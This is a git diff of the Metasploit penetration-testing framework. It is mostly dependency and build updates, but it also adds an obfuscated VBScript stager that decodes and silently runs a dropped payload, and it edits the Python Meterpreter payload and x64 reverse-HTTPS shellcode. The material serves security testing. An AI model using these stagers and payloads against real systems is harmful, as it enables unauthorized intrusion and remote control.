diff --git a/.gitignore b/.gitignore index 189d32b78e..d93c043de5 100644 --- a/.gitignore +++ b/.gitignore @@ -3,10 +3,7 @@ .idea # Sublime Text project directory (not created by ST by default) .sublime-project -# Portable ruby version files for rvm -.ruby-gemset -.ruby-version -# RVM control file +# RVM control file, keep this to avoid backdooring Metasploit .rvmrc # YARD cache directory .yardoc @@ -16,7 +13,7 @@ config/database.yml # simplecov coverage data coverage -data/meterpreter/ext_server_pivot.dll +data/meterpreter/ext_server_pivot.x86.dll data/meterpreter/ext_server_pivot.x64.dll doc/ external/source/meterpreter/java/bin diff --git a/.ruby-gemset b/.ruby-gemset new file mode 100644 index 0000000000..6413f9702d --- /dev/null +++ b/.ruby-gemset @@ -0,0 +1 @@ +metasploit-framework diff --git a/.ruby-version b/.ruby-version new file mode 100644 index 0000000000..c82eec79ee --- /dev/null +++ b/.ruby-version @@ -0,0 +1 @@ +1.9.3-p448 diff --git a/.travis.yml b/.travis.yml index 9c98a8aacd..1ae7e19bcf 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,4 +15,4 @@ notifications: irc: "irc.freenode.org#msfnotify" git: - depth: 1 + depth: 5 diff --git a/Gemfile b/Gemfile index 042c3437bb..ec35b2f614 100755 --- a/Gemfile +++ b/Gemfile @@ -1,4 +1,4 @@ -source 'http://rubygems.org' +source 'https://rubygems.org' # Need 3+ for ActiveSupport::Concern gem 'activesupport', '>= 3.0.0' @@ -11,7 +11,7 @@ gem 'nokogiri' # Needed by anemone crawler gem 'robots' # Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.8' +gem 'packetfu', '1.1.9' group :db do # Needed for Msf::DbManager @@ -41,7 +41,7 @@ group :development, :test do # 'FactoryGirl.' in factory definitions syntax. gem 'factory_girl', '>= 4.1.0' # running documentation generation tasks and rspec tasks - gem 'rake' + gem 'rake', '>= 10.0.0' end group :test do @@ -51,11 +51,10 @@ group :test do gem 'database_cleaner' # testing framework gem 'rspec', '>= 2.12' - # add matchers from shoulda, such as query_the_database, which is useful for - # testing that the Msf::DBManager activation is respected. gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. + # see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0) gem 'simplecov', '0.5.4', :require => false # Manipulate Time.now in specs gem 'timecop' diff --git a/Gemfile.lock b/Gemfile.lock index c532448b29..23b8ceecfe 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,62 +1,58 @@ GEM - remote: http://rubygems.org/ + remote: https://rubygems.org/ specs: - activemodel (3.2.13) - activesupport (= 3.2.13) + activemodel (3.2.14) + activesupport (= 3.2.14) builder (~> 3.0.0) - activerecord (3.2.13) - activemodel (= 3.2.13) - activesupport (= 3.2.13) + activerecord (3.2.14) + activemodel (= 3.2.14) + activesupport (= 3.2.14) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.13) - i18n (= 0.6.1) + activesupport (3.2.14) + i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) arel (3.0.2) - bourne (1.4.0) - mocha (~> 0.13.2) builder (3.0.4) - database_cleaner (0.9.1) - diff-lcs (1.2.2) + database_cleaner (1.1.1) + diff-lcs (1.2.4) factory_girl (4.2.0) activesupport (>= 3.0.0) - i18n (0.6.1) - json (1.7.7) - metaclass (0.0.1) + i18n (0.6.5) + json (1.8.0) metasploit_data_models (0.16.6) activerecord (>= 3.2.13) activesupport pg - mocha (0.13.3) - metaclass (~> 0.0.1) - msgpack (0.5.4) + mini_portile (0.5.1) + msgpack (0.5.5) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.5.9) - packetfu (1.1.8) + nokogiri (1.6.0) + mini_portile (~> 0.5.0) + packetfu (1.1.9) pcaprub (0.11.3) - pg (0.15.1) - rake (10.0.4) - redcarpet (2.2.2) + pg (0.16.0) + rake (10.1.0) + redcarpet (3.0.0) robots (0.10.1) - rspec (2.13.0) - rspec-core (~> 2.13.0) - rspec-expectations (~> 2.13.0) - rspec-mocks (~> 2.13.0) - rspec-core (2.13.1) - rspec-expectations (2.13.0) + rspec (2.14.1) + rspec-core (~> 2.14.0) + rspec-expectations (~> 2.14.0) + rspec-mocks (~> 2.14.0) + rspec-core (2.14.5) + rspec-expectations (2.14.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.13.0) - shoulda-matchers (1.5.2) + rspec-mocks (2.14.3) + shoulda-matchers (2.3.0) activesupport (>= 3.0.0) - bourne (~> 1.3) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.1) + timecop (0.6.3) tzinfo (0.3.37) - yard (0.8.5.2) + yard (0.8.7) PLATFORMS ruby @@ -71,10 +67,10 @@ DEPENDENCIES msgpack network_interface (~> 0.0.1) nokogiri - packetfu (= 1.1.8) + packetfu (= 1.1.9) pcaprub pg (>= 0.11) - rake + rake (>= 10.0.0) redcarpet robots rspec (>= 2.12) diff --git a/HACKING b/HACKING index 23c0acd463..942d46ee2a 100644 --- a/HACKING +++ b/HACKING @@ -9,8 +9,8 @@ Code Style In order to maintain consistency and readability, we ask that you adhere to the following style guidelines: - - Hard tabs, not spaces - - Try to keep your lines under 100 columns (assuming four-space tabs) + - Standard Ruby two-space soft tabs, not hard tabs. + - Try to keep your lines under 100 columns (assuming two-space tabs) - do; end instead of {} for a block - Always use str[0,1] instead of str[0] (This avoids a known ruby 1.8/1.9 incompatibility.) diff --git a/data/exploits/cmdstager/vbs_b64_noquot b/data/exploits/cmdstager/vbs_b64_noquot new file mode 100755 index 0000000000..738a7b6c1d --- /dev/null +++ b/data/exploits/cmdstager/vbs_b64_noquot @@ -0,0 +1,49 @@ +echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub +echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub +echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub +echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub +echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub +echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub +echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub +echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub +echo Set wshShell = CreateObject(scriptShell) >>decode_stub +echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub +echo Set fs = CreateObject(scriptingFS) >>decode_stub +echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub +echo If file.Size Then >>decode_stub +echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub +echo data = fd.ReadAll >>decode_stub +echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub +echo data = Replace(data, vbCrLf, nil) >>decode_stub +echo data = base64_decode(data) >>decode_stub +echo fd.Close >>decode_stub +echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub +echo ofs.Write data >>decode_stub +echo ofs.close >>decode_stub +echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub +echo Else >>decode_stub +echo Wscript.Echo emptyString >>decode_stub +echo End If >>decode_stub +echo Function base64_decode(byVal strIn) >>decode_stub +echo Dim w1, w2, w3, w4, n, strOut >>decode_stub +echo For n = 1 To Len(strIn) Step 4 >>decode_stub +echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub +echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub +echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub +echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub +echo If Not w2 Then _ >>decode_stub +echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub +echo If Not w3 Then _ >>decode_stub +echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub +echo If Not w4 Then _ >>decode_stub +echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub +echo Next >>decode_stub +echo base64_decode = strOut >>decode_stub +echo End Function >>decode_stub +echo Function mimedecode(byVal strIn) >>decode_stub +echo If Len(strIn) = 0 Then >>decode_stub +echo mimedecode = -1 : Exit Function >>decode_stub +echo Else >>decode_stub +echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub +echo End If >>decode_stub +echo End Function >>decode_stub diff --git a/data/meterpreter/elevator.dll b/data/meterpreter/elevator.dll deleted file mode 100755 index 5d5402a24d..0000000000 Binary files a/data/meterpreter/elevator.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index d6612e25ac..cebe096266 100755 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll new file mode 100755 index 0000000000..03aebf5630 Binary files /dev/null and b/data/meterpreter/elevator.x86.dll differ diff --git a/data/meterpreter/ext_server_espia.dll b/data/meterpreter/ext_server_espia.dll deleted file mode 100755 index 83bcdb75db..0000000000 Binary files a/data/meterpreter/ext_server_espia.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 3fdbad4b4c..624daeb93f 100755 Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll new file mode 100755 index 0000000000..1505c8a963 Binary files /dev/null and b/data/meterpreter/ext_server_espia.x86.dll differ diff --git a/data/meterpreter/ext_server_incognito.dll b/data/meterpreter/ext_server_incognito.dll deleted file mode 100755 index 5292b93731..0000000000 Binary files a/data/meterpreter/ext_server_incognito.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 5745a9ad4b..157bd6f323 100755 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll new file mode 100755 index 0000000000..8e8b50e59b Binary files /dev/null and b/data/meterpreter/ext_server_incognito.x86.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.dll b/data/meterpreter/ext_server_lanattacks.dll deleted file mode 100755 index a837ae495b..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 518bf00d4f..f4ad5e7664 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll new file mode 100755 index 0000000000..1085fa4b23 Binary files /dev/null and b/data/meterpreter/ext_server_lanattacks.x86.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.dll b/data/meterpreter/ext_server_mimikatz.dll deleted file mode 100755 index eb1626d539..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 9a63429635..5e09931d5b 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll new file mode 100755 index 0000000000..ebc779e1db Binary files /dev/null and b/data/meterpreter/ext_server_mimikatz.x86.dll differ diff --git a/data/meterpreter/ext_server_priv.dll b/data/meterpreter/ext_server_priv.dll deleted file mode 100755 index deb37811fc..0000000000 Binary files a/data/meterpreter/ext_server_priv.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index d0b13f89b9..4e7190f925 100755 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll new file mode 100755 index 0000000000..9f9e042263 Binary files /dev/null and b/data/meterpreter/ext_server_priv.x86.dll differ diff --git a/data/meterpreter/ext_server_sniffer.dll b/data/meterpreter/ext_server_sniffer.dll deleted file mode 100755 index 51d1815cd6..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 476bb9d1ec..4977bf48b8 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll new file mode 100755 index 0000000000..fde991fc66 Binary files /dev/null and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.dll b/data/meterpreter/ext_server_stdapi.dll deleted file mode 100755 index d83794749a..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index a1cf7de5b4..98b1c235d0 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response): @meterpreter.register_function def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - if path_tlv == '%COMSPEC%': - if platform.system() == 'Windows': - result = 'cmd.exe' - else: - result = '/bin/sh' - elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows': + if has_windll: + path_out = (ctypes.c_char * 4096)() + path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out)) + result = ''.join(path_out)[:path_out_len] + elif path_tlv == '%COMSPEC%': + result = '/bin/sh' + elif path_tlv in ['%TEMP%', '%TMP%']: result = '/tmp' else: - result = os.getenv(path_tlv) + result = os.getenv(path_tlv, path_tlv) if not result: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_FILE_PATH, result) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_fs_file_move(request, response): + oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] + newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] + os.rename(oldname, newname) + return ERROR_SUCCESS, response + @meterpreter.register_function def stdapi_fs_getwd(request, response): response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd()) @@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response): m = hashlib.md5() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) + response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function @@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response): m = hashlib.sha1() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) + response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index ffc56ad1e3..393d1c8cb9 100755 Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and b/data/meterpreter/ext_server_stdapi.x64.dll differ diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll new file mode 100755 index 0000000000..d97312a75c Binary files /dev/null and b/data/meterpreter/ext_server_stdapi.x86.dll differ diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index b81415a0a7..59bd457271 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread): self.data_lock.acquire() self.data += byte self.data_lock.release() + data = self.std.read() self.data_lock.acquire() - self.data += self.std.read() + self.data += data self.data_lock.release() def is_read_ready(self): @@ -208,7 +209,7 @@ class PythonMeterpreter(object): def run(self): while self.running: - if len(select.select([self.socket], [], [], 0)[0]): + if len(select.select([self.socket], [], [], 0.5)[0]): request = self.socket.recv(8) if len(request) != 8: break @@ -391,13 +392,17 @@ class PythonMeterpreter(object): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - if method_tlv['value'] in self.extension_functions: - handler = self.extension_functions[method_tlv['value']] + handler_name = method_tlv['value'] + if handler_name in self.extension_functions: + handler = self.extension_functions[handler_name] try: + #print("[*] running method {0}".format(handler_name)) result, resp = handler(request, resp) except Exception, err: + #print("[-] method {0} resulted in an error".format(handler_name)) result = ERROR_FAILURE else: + #print("[-] method {0} was requested but does not exist".format(handler_name)) result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp diff --git a/data/meterpreter/metsrv.dll b/data/meterpreter/metsrv.dll deleted file mode 100755 index 2c0bd62c7f..0000000000 Binary files a/data/meterpreter/metsrv.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 90716b66de..f59082ccd6 100755 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll new file mode 100755 index 0000000000..f9c4a33121 Binary files /dev/null and b/data/meterpreter/metsrv.x86.dll differ diff --git a/data/meterpreter/screenshot.dll b/data/meterpreter/screenshot.dll deleted file mode 100755 index 7e286c83fb..0000000000 Binary files a/data/meterpreter/screenshot.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index d868309c95..7a292782d7 100755 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll new file mode 100755 index 0000000000..bd34b6b56c Binary files /dev/null and b/data/meterpreter/screenshot.x86.dll differ diff --git a/data/wordlists/http_owa_common.txt b/data/wordlists/http_owa_common.txt new file mode 100644 index 0000000000..86c0c93c88 --- /dev/null +++ b/data/wordlists/http_owa_common.txt @@ -0,0 +1,8 @@ +aspnet_client/ +Autodiscover/ +ecp/ +EWS/ +Microsoft-Server-ActiveSync/ +OAB/ +PowerShell/ +Rpc/ diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 9c027c28b9..32ba7ff12b 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -1,6 +1,7 @@ ;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Rewritten for x64 by agix +; Modified to account for memory alignment by rwincey ; Compatible: Windows 7 ; Architecture: x64 ;-----------------------------------------------------------------------------; @@ -12,6 +13,7 @@ load_wininet: ; setup the structures we need on the stack... + push byte 0 ; alignment mov r14, 'wininet' push r14 ; Push the bytes 'wininet',0 onto the stack. mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call. @@ -20,6 +22,7 @@ load_wininet: call rbp ; LoadLibraryA( "ws2_32" ) internetopen: + push byte 0 ; alignment push byte 0 ; NULL pointer mov rcx, rsp ; LPCTSTR lpszAgent ("\x00") xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0) @@ -74,6 +77,7 @@ retry: internetsetoption: mov rcx, rsi ; HINTERNET hInternet mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push byte 0 ; alignment push qword 0x00003380 ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID @@ -90,6 +94,7 @@ httpsendrequest: xor rdx, rdx ; LPCTSTR lpszHeaders xor r8, r8 ; DWORD dwHeadersLength xor r9, r9 ; LPVOID lpOptional + push rdx ; alignment push rdx ; DWORD dwOptionalLength mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call rbp diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index 01713e0b7e..aeef221eb2 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -776,10 +776,10 @@ class Disassembler def strings_scan(minlen=6) ret = [] nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| + pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o| if o - nexto > 0 next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm] ret << [o, str] if not block_given? or yield(o, str) nexto = o + str.length end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb index 40440dc046..3005edcf04 100644 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ b/lib/metasm/metasm/gui/dasm_hex.rb @@ -231,7 +231,7 @@ class HexWidget < DrawableWidget end if @show_ascii and d x = xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/, '.') + d = d.gsub(/[^\x20-\x7e]/n, '.') if wp.empty? render[d, :ascii] else @@ -393,7 +393,7 @@ class HexWidget < DrawableWidget # pop a dialog, scans the sections for a hex pattern def prompt_search_hex inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } + pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" } pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } diff --git a/lib/msf/base/sessions/meterpreter_x86_win.rb b/lib/msf/base/sessions/meterpreter_x86_win.rb index 7e3f6efc22..ee2ba2bc17 100644 --- a/lib/msf/base/sessions/meterpreter_x86_win.rb +++ b/lib/msf/base/sessions/meterpreter_x86_win.rb @@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter def initialize(rstream,opts={}) super self.platform = 'x86/win32' - self.binary_suffix = 'dll' + self.binary_suffix = 'x86.dll' end def lookup_error(code) diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index b3193020ae..6de6500bf7 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -93,8 +93,6 @@ module Auxiliary::AuthBrute next if @@credentials_skipped[fq_user] next if @@credentials_tried[fq_user] == p - datastore['USERNAME'] = u.to_s - datastore['PASSWORD'] = p.to_s ret = block.call(u, p) case ret diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 70e6e165ac..a20642ab91 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -128,10 +128,10 @@ module Auxiliary::Login false end - def password_prompt? + def password_prompt?(username=nil) return true if(@recvd =~ @password_regex) - if datastore['USERNAME'] - return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/) + if username + return true if( !(username.empty?) and @recvd =~ /#{username}'s/) end return false end diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index 4c3cdfc6b2..8d60cd9a12 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -59,7 +59,7 @@ def get_nmap_ver nmap_cmd = [self.nmap_bin] nmap_cmd << "--version" res << %x{#{nmap_cmd.join(" ")}} rescue nil - res.gsub(/[\x0d\x0a]/,"") + res.gsub(/[\x0d\x0a]/n,"") end # Takes a version string in the form of Major.Minor and compares to @@ -68,16 +68,16 @@ end # Comparing an Integer is okay, though. def nmap_version_at_least?(test_ver=nil) raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float - unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/] + unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n] raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}" end test_ver_str = test_ver.to_s - tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} + tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i} installed_ver = get_nmap_ver() vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"] return false if (vtag.nil? || vtag.empty?) - return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag. - inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} + return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag. + inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i} return true if inum_arr[0] > tnum_arr[0] return false if inum_arr[0] < tnum_arr[0] inum_arr[1].to_i >= tnum_arr[1].to_i @@ -228,7 +228,7 @@ def nmap_validate_arg(str) return false end # Check for commas outside of quoted arguments - quoted_22 = /\x22[^\x22]*\x22/ + quoted_22 = /\x22[^\x22]*\x22/n requoted_str = str.gsub(/'/,"\"") if requoted_str.split(quoted_22).join[/,/] print_error "Malformed nmap arguments (unquoted comma): #{str}" diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index a7844d6158..bce0235d93 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -358,7 +358,7 @@ class DBManager opts.each { |k,v| if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') end else dlog("Unknown attribute for ::Mdm::Host: #{k}") @@ -481,7 +481,7 @@ class DBManager if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') end else dlog("Unknown attribute for Host: #{k}") @@ -1536,12 +1536,12 @@ class DBManager if (token[0]) # convert the token to US-ASCII from UTF-8 to prevent an error token[0] = token[0].unpack("C*").pack("C*") - token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } + token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } end if (token[1]) token[1] = token[1].unpack("C*").pack("C*") - token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } + token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } end ret = {} @@ -2853,7 +2853,7 @@ class DBManager return REXML::Document.new(data) rescue REXML::ParseException => e dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}") - return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }) + return 